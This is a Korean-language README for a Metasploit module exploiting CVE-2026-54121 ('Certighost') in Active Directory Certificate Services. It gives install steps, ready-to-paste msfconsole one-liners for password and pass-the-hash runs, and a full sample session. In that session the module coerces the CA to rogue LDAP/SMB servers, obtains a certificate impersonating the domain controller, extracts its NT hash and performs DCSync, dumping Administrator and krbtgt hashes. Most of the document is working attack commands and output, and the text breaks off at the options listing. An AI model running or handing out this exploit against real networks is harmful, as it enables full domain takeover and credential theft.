Metasploit-CVE-2026-54121-Certighost

Certighost는 원래 h0j3n과 Aniq Fakhrul이 발견하고 악용했습니다. 이 리포지토리에는 AD CS 등록 "체이스(chase)" 폴백을 남용하여 모든 낮은 권한의 도메인 사용자에서 전체 도메인 장악으로 권한을 상승시키는 Metasploit 보조 모듈이 포함되어 있습니다. CA를 강제로 공격자가 제어하는 인프라에 다시 인증하도록 만든 다음 도메인 컨트롤러를 가장하는 인증서를 발급하게 할 수 있습니다. 해당 인증서는 PKINIT에 사용되며, UnPAC-the-hash가 DC의 NT 해시를 복구하고 DCSync가 나머지를 수행합니다.

설치

mkdir -p ~/.msf4/modules/auxiliary/admin/dcerpc
cp cve_2026_54121_certighost.rb ~/.msf4/modules/auxiliary/admin/dcerpc/

구문 분석 및 로드 확인:

ruby -c ~/.msf4/modules/auxiliary/admin/dcerpc/cve_2026_54121_certighost.rb

msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; show options; exit"

389 및 445 포트는 권한이 필요한 포트이므로 모듈은 root로 실행해야 합니다.

사용법

비밀번호 인증

MSF 원라이너

sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION FULL; run" 

msfconsole 실행

use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set PASSWORD 'Passw0rd!'
set DC_IP 10.0.0.10
set ACTION FULL
run

Pass-the-hash

MSF 원라이너

sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set NTLM_HASH 69289a87353c7083842956a62652d46c; set DC_IP 10.0.0.10; set ACTION FULL; run"

msfconsole 실행

use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set NTLM_HASH 69289a87353c7083842956a62652d46c
set DC_IP 10.0.0.10
set ACTION FULL
run

NTLM_HASH는 순수 NT 해시, :NT 또는 LM:NT 형식을 허용합니다. PASSWORD와 NTLM_HASH가 모두 설정된 경우 해시가 우선합니다.

인증서만

인증서를 오프라인 또는 추후 사용을 위해 보관하려는 경우 유용합니다:

sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION REQUEST_CERT; run"

---

예제

성공적인 익스플로잇

$ msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN contoso.lab; set USERNAME lowpriv; set PASSWORD Abc123,./; set DC_IP 192.168.10.10; set ACTION FULL;  run"

[*] Starting persistent handler(s)...
[*] Setting default action FULL - view all 3 actions with the show actions command
DOMAIN => contoso.lab
USERNAME => lowpriv
PASSWORD => Abc123,./
DC_IP => 192.168.10.10
ACTION => FULL
[*] Certighost (CVE-2026-54121)
[*] Step 1: Discovering infrastructure via LDAP...
[*]   Discovering CA...
[+]     Found CA: ContosoCert-CA (DC01.contoso.lab)
[*]   Discovering target DC...
[+]     Target DC: DC01$ (DC01.contoso.lab)
[+]   CA:      ContosoCert-CA (192.168.10.10)
[+]   Target:  DC01$
[+]   Domain SID: S-1-5-21-2005457936-2008376057-2514283296
[*] Step 2: Creating machine account via SAMR...
[+] Successfully created contoso.lab\GHOSTGQJZBJLO$
[+]   Password: CGf0a69633d2Aa1
[+]   SID:      S-1-5-21-2005457936-2008376057-2514283296-1756
[+]   Created: contoso.lab\GHOSTGQJZBJLO$
[*] Step 3: Starting rogue servers...
[*]   Listener IP: 192.168.44.128
[+]   Rogue LDAP server: 192.168.44.128:389
[+]   Rogue SMB server:  192.168.44.128:445
[*]   Pre-flighting Netlogon oracle...
[*] Connecting to the endpoint mapper service...
[+]   Netlogon oracle ready
[*] Step 4: Requesting certificate via ICertPassage...
[+]   Certificate issued!
[+]   PFX (loot):  /root/.msf4/loot/20260731030034_default_192.168.10.10_windows.ad.cs_287527.pfx
[+]   PFX (local): /root/DC01_certighost.pfx
[+]   Subject: /CN=DC01.contoso.lab
[+]   Issuer:  /DC=lab/DC=contoso/CN=ContosoCert-CA
[*] Step 5: Performing PKINIT as DC01$...
[+]   PKINIT successful - TGT for [email protected]
[+]   ccache saved: /root/DC01.ccache
[*]   Extracting NT hash from PAC...
[+] 192.168.10.10:88 - Received a valid TGS-Response
[*] 192.168.10.10:445 - TGS MIT Credential Cache ticket saved to /root/.msf4/loot/20260731030034_default_192.168.10.10_mit.kerberos.cca_639932.bin
[+]   NT Hash: dc01$:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d
[*] Step 6: Performing DCSync...
[*]   Running DCSync as contoso.lab\DC01$ (output shown when complete)...
# NTLM hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72446150d4b9a4dae4f0472fbb01b072:::
contoso.lab\lowpriv:1105:aad3b435b51404eeaad3b435b51404ee:69289a87353c7083842956a62652d46c:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d:::
DESKTOP-JSB2FG3$:1106:aad3b435b51404eeaad3b435b51404ee:b7ca2860c012a21801407b5f5c45c453:::
GHOSTQMSEUHWX$:1751:aad3b435b51404eeaad3b435b51404ee:3e5e99d282391e10226f3d40111196ee:::
GHOSTGQJZBJLO$:1756:aad3b435b51404eeaad3b435b51404ee:cbe6ca2d2dffb6069be63ee0700a05cb:::
# Password history (pwdump format - uid:rid:lmhash:nthash:::):
Administrator_history0:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
contoso.lab\lowpriv_history0:1105:82e343ae06e69d44033ee76a390286a8:8c3efc486704d2ee71eebe71af14d86c:::
DC01$_history0:1000:aad3b435b51404eeaad3b435b51404ee:3795fa26828ec5e8bf0dc948d2d82bbe:::
DESKTOP-JSB2FG3$_history0:1106:dbfadcdb0dd4f78c286e856dcc5ece74:a175b9f66ecd598f5bcf8185d0e2e322:::
[+]   DCSync complete - 26 secret line(s) shown, others suppressed for opsec
[*]   (SIDs, full pwdump, account info and kerberos-key sections hidden)
[*] Cleaning up: deleting GHOSTGQJZBJLO$ as Administrator (Administrator hash from DCSync)...
[+] The specified account has been deleted.
[+]   Deleted GHOSTGQJZBJLO$
[*] Auxiliary module execution completed

옵션

msf auxiliary(admin/dcerpc/cve_2026_54121_certighost) > show options

Module options (auxiliary/admin/dcerpc/cve_2026_54121_certighost):